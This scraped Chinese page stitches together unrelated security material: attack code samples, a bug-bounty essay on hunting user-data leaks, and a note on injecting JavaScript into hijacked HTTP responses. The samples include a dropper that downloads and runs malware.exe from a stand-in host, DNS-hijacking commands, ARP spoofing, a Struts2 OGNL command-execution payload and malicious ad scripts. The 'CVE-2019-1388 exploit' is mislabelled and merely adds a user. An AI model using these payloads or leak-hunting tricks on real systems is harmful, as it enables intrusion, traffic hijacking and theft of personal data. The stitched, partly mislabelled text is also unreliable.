供学习研究交流使用,切勿用于违法犯罪,为维护网络安全做贡献!
恶意软件感染:
python
复制代码
# 示例Python代码,恶意软件伪装成合法软件 import os def download_payload(): # 下载恶意软件 os.system("curl -O http://malicious-website.com/malware.exe") def execute_payload(): # 执行下载的恶意软件 os.system("malware.exe") download_payload() execute_payload()
提权方法:
示例漏洞:CVE-2019-1388
利用示例:
c
复制代码
// Exploit.c: 利用CVE-2019-1388的UAC绕过漏洞 #include <windows.h> #include <stdio.h> int main() { SHELLEXECUTEINFO shExecInfo; shExecInfo.cbSize=sizeof(SHELLEXECUTEINFO); shExecInfo.fMask=SEE_MASK_NOCLOSEPROCESS; shExecInfo.hwnd=NULL; shExecInfo.lpVerb="runas"; // 请求管理员权限 shExecInfo.lpFile="cmd.exe"; // 要运行的程序 shExecInfo.lpParameters="/c net user hacker Password123! /add"; // 创建新用户 shExecInfo.lpDirectory=NULL; shExecInfo.nShow=SW_SHOWNORMAL; shExecInfo.hInstApp=NULL; ShellExecuteEx(&shExecInfo); WaitForSingleObject(shExecInfo.hProcess, INFINITE); CloseHandle(shExecInfo.hProcess); return 0; }
shell
复制代码
gcc Exploit.c -o Exploit.exe Exploit.exe
使用命令提示符:
shell
复制代码
# 修改DNS设置,将DNS服务器地址更改为攻击者控制的DNS服务器 netsh interface ip set dns name="Local Area Connection" static 203.0.113.5
修改注册表:
shell
复制代码
# 示例命令,修改注册表中的DNS设置 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{interface-ID}" /v NameServer /t REG_SZ /d 203.0.113.5 /f
shell
复制代码
# 使用nslookup识别DNS服务器 nslookup example.com
shell
复制代码
# 使用Metasploit框架利用BIND DNS漏洞 use exploit/linux/misc/bind_tkey set RHOSTS <target_ip> set LHOST <your_ip> exploit
shell
复制代码
# 例如,在BIND DNS服务器中修改zone文件 vi /etc/bind/named.conf.local # 添加或修改解析记录 zone "example.com" { type master; file "/etc/bind/db.example.com"; };
ARP欺骗:
python
复制代码
# 使用scapy库进行ARP欺骗 from scapy.all import ARP, send def arp_poison(target_ip, target_mac, spoof_ip): arp_response=ARP(pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, op='is-at') send(arp_response, verbose=0) # 示例:将目标IP的网关MAC地址更改为攻击者的MAC地址 arp_poison('192.168.1.10', '00:11:22:33:44:55', '192.168.1.1')
捕获HTTP流量:
shell
复制代码
# 使用Wireshark或tcpdump捕获HTTP流量 tcpdump -i eth0 -w capture.pcap 'tcp port 80'
使用Burp Suite拦截并修改HTTP响应:
html
复制代码
<!-- 插入恶意JavaScript代码的示例 --> <script>alert('This site is hacked');</script>
html
复制代码
<!-- 示例:构造包含恶意JavaScript代码的输入 --> <script>alert('XSS');</script>
javascript
复制代码
// 分析广告脚本 console.log(document.querySelectorAll('script[src*="adnetwork.com"]'));
示例漏洞:CVE-2018-11776
利用示例:
http
复制代码
POST /struts2-rest-showcase/orders HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 100 %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
html
复制代码
<!-- 替换广告内容为恶意广告 --> <script src="http://malicious-website.com/malicious.js"></script>
html
复制代码
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Ad Page</title> </head> <body> <h1>Welcome to the Ad Page</h1> <!-- 恶意广告加载 --> <script src="http://malicious-website.com/malicious.js"></script> </body> </html>
通过详细的步骤和代码示例,我们可以更清楚地了解DNS劫持、HTTP劫持、内容注入和广告劫持的实现方式。这些攻击手段对用户和网络安全构成严重威胁,但通过了解其原理和实现细节,我们可以采取更有效的防护措施,保护我们的网络环境和数据安全。如果你有任何问题或想法,请在评论区分享,我们一起探讨。
家好,我是剑影,这是我的第五篇原创文章。1月已经过半,很多童鞋应该都放寒假了,那么挖掘漏洞的时间就比较多啦,在挖掘的过程中,思路的积累以及创新是尤为重要的。在写这篇文章前,我实际上还没想好该写什么内容,然后回顾了以往挖掘各大SRC漏洞的历程,觉得写关于信息泄露这方面的问题比较OK些,于是,我根据自己的挖掘思路和网上的思路做了一个总结,希望能让你们学有收获。
信息漏洞的危害涉及到企业和用户,一直以来都是高风险的问题,本文章就两个方向进行讲述挖掘信息泄露的那些思路。
Web方面的信息泄露
0x01 用户信息泄露
①:评论处
第一点:
一般用户评论处用户的信息都是加密的,比如显示的是用户手机号或邮箱等,就会直接对中间的一段数字进行加密,但是有些可能就没有加密,而是直接显示出来,那么这就造成了用户信息泄露问题。
第二点:
如果加密不当,直接游览用户评论处时进行抓包,然后查看返回包就可以直接看到明文,但有的时候会有2个参数,就比如name:1333******1这个值是加密的,但后面还会有一个testname这个参数就没有进行加密,从而导致用户信息泄露。这里有一些小技巧,就比如一个买卖市场,他有用户评论的地方,有一个秒杀抢购成功的展示用户的地方,还有一个是用户相互交流的地方,一般白帽子测试了第一个功能处发现不存在问题,然后就不继续测试其它相同功能处了,这个疏忽就可能会导致错过一个发现问题的机会,每个功能处,加密机制有时候就会被漏掉,就比如用户评论处用户信息加了密,但是秒杀抢购成功的展示用户的地方却没有加密,所以白帽子要更细心点。
第三点:
一般评论处都会有一个追加评论功能和一个商家回复功能,那么此时如果对这个功能参数没有加以加密,那么通过抓包游览查看返回包就可看到追加评论的用户信息和商家信息。
第四点:
有些评论功能当中支持艾特(@)他人,那么在这个评论当中你通过@他人,然后输入信息点击发送到评论处时,通关抓包就可看到刚刚@的那个用户的明文信息。
第五点:
当这个网站评论地方被搜索引擎爬虫到了,那么可以尝试利用搜索命令site:XXXX.com inurl:XX目录在搜索引擎当中搜索,如果加密不完全,那么就可以在搜索引擎当中看到明文信息。关于这类的信息泄露问题我找到了相关例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0104766.html
②:转账处
第一点:
很多大型公司都有自家的金融平台,然后在转账处,当你输入对方的转账的账户,比如手机号或者邮箱,然后当你点击其它地方,它会向服务器发送一条验证信息,验证输入的此账户是否存在,如果存在,返回对应的手机号或者邮箱账户的用户姓名,比如*王(1333333XXX)这样的返回信息,那么如果此时前端加密不当,可以通过抓包拦截这条请求,查看返回信息,就可看到明文的姓名。关于这类问题,我找到了相关例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0124969.html
第二点:
一般在转账处输入手机号或邮箱账户的旁边,有一个历史转账信息,一个迷你的小页面,当你点击后会看到之前转账成功的信息,但是,如果此页面加密不全,那么在点击查看历史转账信息时直接抓包查看返回内容就可看到明文的姓名。
③:搜索处
第一点:
有些平台内置了搜索功能,跟搜索引擎思路很像,同样也是随意搜索,如果此时搜索的结果包含用户信息这块,那么就可能会导致用户信息泄露问题。关于这类问题,我找到了相关例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html
④:个人页面处
第一点:
在个人页面当中,直接游览时直接抓包,查看返回包就可看到用户信息是否未加密完全。比如一些金融APP,如果加密不当,当点击个人界面时通过抓包查看返回包就可看到明文的身份证信息和用户名以及手机号。当然这里不是只有涉及金融APP方面的才会有这个问题,只要是可以查看个人页面处都可能存在。
第二点:
在查看银行卡信息那里,一般都是加了密的,但查看银行卡信息处时进行抓包查看返回包的时候就可看到明文的银行卡卡号信息和姓名信息。
⑤:客服处
第一点:
这个问题属于客服安全方面意思不足,大一点的来看就是公司没有对客服进行安全培训等,当你询问客服某手机号对应的姓名时,客服就会直接把姓名发你,当然这要考验你是怎么问的了,还有如果失败了不要放弃,换一个客服继续测试。
越权方面的用户信息泄露
①:任意查看
第一点:
很多平台需要进行实名制认证,在上传实名制所需要的身份证照片等信息图片时,如果没有对所产生的文件名格式进行复杂化的话,那么极有可能会存在任意查看,通过批量的方式就可以进行这些步骤,比如你上传了图片,服务器生成的图片地址是XXX.com/xxx/xx/012313.jpg这样短的数字格式文件名的话,就会存在该问题。
第二点:
购物平台当中,在添加地址或修改地址的地方,如果权限没过滤好,就可以越权进行查看任意用户的地址信息。
第三点:
在某些平台当中,支持添加子账户,然后随便添加一个子账户,然后在查看该子账户的时候进行抓包,修改其ID值,就可以查看任意账户信息
第四点:
有些平台有操作日志或其它日志功能,那么如果此时对当前用户的权限过滤不当,那么就可以查看全部用户操作时产生的日志,从而导致信息泄露。
第五点:
在很多金融平台当中,在修改昵称那里或者查看个人信息那里,提交时抓包,修改其用户值为存在用户的任意值,那么就可能造成查看任意用户信息的问题。
第六点:
如果你进入了一些内部员工平台,那么如果具有搜索功能,就比如你输入了员工工号然后它会返回这个员工的所有在职信息,那么此时你可以通过抓包批量进行提交员工工号,就可造成大范围的信息泄露。
第七点:
随便买一个东西生成订单,如果此时权限控制不当,就可以越权查看到任意用户的订单,那么信息也自认而然的泄露出来了。关于这方面,我找到了相关例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-083157.html
②:任意重置
第一点:
如果权限控制不当,可导致任意用户密码修改的话,那么登录后就可查看该用户的任意信息,这也就导致了用户信息泄露。
③:任意修改
第一点:
在下单的时候修改其用户ID为任意存在用户的ID,然后下单,然后查看刚刚下单的信息,就可看到该用户的收货地址信息,只要对方设置了收货地址。接口方面的用户信息泄露
第一点:
很多业务网站在上线的时候都忘记把测试时的接口进行关闭,从而导致这个接口可以查询大量用户信息。那么此类接口怎么找呢?其中之一的方法通过Github.com网站进行搜索相关域名进行查找。关于这类问题,我找到了相关例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0116563.html注入方面的用户信息泄露
第一点:
注入可以说是非常非常的严重,因为注入往往都能得到很多信息,如果没做好相关过滤以及防护,就可导致注入,从而数据库内的各种数据面对裸露的危险。
以上就是关于挖掘用户信息泄露方向的思路了,我试着努力回想,但目前只能总结到这几个点,如果还有更多思路,欢迎在评论处留言!
0x02 服务器路径信息泄露
①:上传图片处
第一点:
在上传图片处,这里我说下最可能存在问题的点,就是关于上传相关证明,进行实名制上传信息等功能页面,在上传图片时进行抓包,然后查看返回包,那么就可看到当前服务器的绝对路径信息。
②:XML处
第一点:
一些XML限制或删除不完全,可导致服务器等信息泄露。详细例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0123762.html
③:第三方的服务当中
第一点:
很多,如:Apache Tomcat、Struts2、CMS、zabix、Nginx等等,例如Nginx的某版本解析漏洞,就可造成路径信息泄露。关于这方面我找到了相关例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2013-019253.htmlhttp://wooyun.jozxing.cc/static/bugs/wooyun-2012-04655.html
④:利用报错问题
第一点:
在处理报错信息的问题上如果处理不当,就可导致路径信息泄露,比如访问一些不存在的文件等思路。这里我找到了相关例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2012-010115.htmlhttp://wooyun.jozxing.cc/static/bugs/wooyun-2011-02219.htmlhttp://wooyun.jozxing.cc/static/bugs/wooyun-2012-09901.html
以上就是关于服务器路径信息泄露问题!
0x03 员工信息泄露
①:各第三方平台当中
第一点:
Github,很不错的开源社区平台。一些员工喜欢将自己的信息上传到这平台上,但是往往忽视了安全,有时这上传的代码当中就可能包含很多内部测试员工的账户以及密码信息等。关于这方面我找到了相关例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0177720.htmlhttp://wooyun.jozxing.cc/static/bugs/wooyun-2015-0164337.html
第二点:
在搜索QQ群那里,通过搜索企业昵称,往往都可以搜索出来关于企业员工或企业方面的信息,一般都会贴在公告当中,比如某某测试账户等。当然,你也可以申请加入群进行查看群文件,看是否有铭感的信息。这里我找到了相关例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0128511.htmlhttp://wooyun.jozxing.cc/static/bugs/wooyun-2015-093927.htmlhttp://wooyun.jozxing.cc/static/bugs/wooyun-2016-0208105.html
第三点:
百度贴吧当中,一般都有公司员工创建的贴吧,如果安全意思不足,那么就会泄露相关员工工号,可用作暴力破解的字典。
②:弱密码问题
第一点:
在一些涉及内部员工方面的系统,如果员工密码为弱密码,那么就可通过暴力破解方式进行尝试登录,如果成功爆破到了员工账户,那么一般只要是内部员工系统该账户都可以登录,那么所造成的影响也是很大的。
以上就是关于员工信息泄露的问题!
0x04 数据库信息以及服务器信息泄露
①:各第三方平台当中
第一点:
Github,一些员工如果安全意识不足,同样上传的代码当中就包含了数据库连接信息以及服务器信息。关于这类问题,我找到了相关例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0180848.html
第二点:
利用搜索QQ群的思路,如果员工的安全意识不足,那么数据库连接信息以及服务器信息就会在公告或群文件当中
②:XML处
第一点:
同样在XML文件当中,也可能会发现数据库连接信息以及服务器信息。
③:svn处
第一点:
svn是一个开放源代码的版本控制系统,如果没有加以限制或者删除,那么就可以游览相关的比较隐蔽性的源码。关于这类的问题,我找到了相关例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0199607.htmlhttp://wooyun.jozxing.cc/static/bugs/wooyun-2016-0191202.html
③:数据库文件
第一点:
一些数据库相关文件如果删除不当或者摆放位置不当,那么极有可能被下载下来,造成危害。关于这方面,我找到了相关例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0158556.html
④:其它文件
第一点:
比如其它类型的文件,如Txt、Doc、Excel等文件,如果包含铭感信息,那么危害也是显而易见的。以上就是关于数据库信息以及服务器信息泄露的问题!
APP方面的信息泄露
0x01 敏感域名泄露
①:本地文件当中
第一点:
一些比较隐私性的域名可能会包含在APP本地文件当中,比如某内部员工登录系统的APP,但是由于有证书校验,你也抓不到数据包,此时你可以查看该APP的本地文件,然后就可看到本APP内调用的是哪些域名,然后还有相关的域名。从APP内提取域名的相关程序很多,Github很多,这里我提供一个某作者写的Windows下的工具吧,需要Net环境哦,下载地址:https://pan.baidu.com/s/1slJaYnF
0x02 密码泄露
第一点:
手势密码也存在在本地文件当中,如果没最好相关校验或加密,那么手势密码就可能会泄露并且被利用。
第二点:
一些APP问题就是把用户登录的信息保存在本地,而且账户密码都是以明文保存在本地文件或本地Sqlite数据库当中,很容易被利用。这里我找到了类似的例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2011-02915.html
第三点:
同样,一些APP也会把登录成功的Cookie保存在本地,那么只要找到相关文件复制下来这个Cookie,就可以任意登录了。
当然,访问这些文件是需要ROOT权限的,以上就是APP方面的信息泄露问题了!
总结:
信息泄露不管是泄露哪方面的,都需要重视,信息一直伴随着每个人到终身,如何才能保证在这个过程当中不被泄露和利用,那么就需要各位白帽子来维护以及厂商来重视,让信息化的今天,更安全。感谢那些支持我的朋友们,你们的一点点支持对我来说都有着莫大的鼓励。最后,发现问题,解决问题,让世界更美,下次文章见~
登录安全客 - 有思想的安全新媒体www.anquanke.com/,或下载安全客APP来获取更多最新资讯吧~
假设需要劫持http响应并在html页面中注入一段js代码后再传回浏览器,实现在浏览器出现一个弹框消息提醒。
由于原始html页面编码格式存在UTF-8、GBK等多种编码格式,如果注入的js包含中文消息的话,那么在UTF-8或GBK编码的页面就会有一个出现乱码。有没有办法做到不管是针对GBK、UTF-8编码的页面都能做到正常显示而不会出现乱码哪?
首先来分析一下产生乱码的原因,我们在浏览器看到的信息都是通过图形学手段在显示器上呈现出来的,而实际保存在计算机硬件上的都是0和1(因为计算机实现是基于二进制),那么计算机要显示、传递信息就需要依靠一套规则把一串串的0和1识别为正确的字符,这就是编码。
例如01000001在ASCII编码规则下对应字母A。相同的0/1串,不同的编码解析出的字符一般是不同的,因此如果html页面按照UTF-8的编码解析正常,那么按照GBK的编码解析就会是乱码了。根据上面的示意图,假设注入的js代码为utf-8编码格式,而原始html编码格式也为UTF-8编码格式,那么最终注入这部分中的中文就能正常显示,但是如果原始html为GBK编码,那注入的这部分js代码的中文就会显示乱码。
有一种unicode统一编码字符集,目标是把所有文字、字符统一编码,也就是一串0/1组合在unicode字符集下对应的字符是唯一的,不会存在歧义。而js是支持解析unicode字符的,那么就可以在注入js中把要显示的消息统一转换为unicode编码,浏览器端去解析这个unicode编码,这样不管原始html是UTF-8还是GBK,都能正常显示中文。
原始注入js代码关于中文字符的部分
// utf-8编码格式
let message="中文";
解决乱码的注入js代码关于中文字符的部分
// utf-8编码格式
let message="\\u4e2d\\u6587"; // 这个编码对应上面的message"中文"
注意:
*请认真填写需求信息,我们会在24小时内与您取得联系。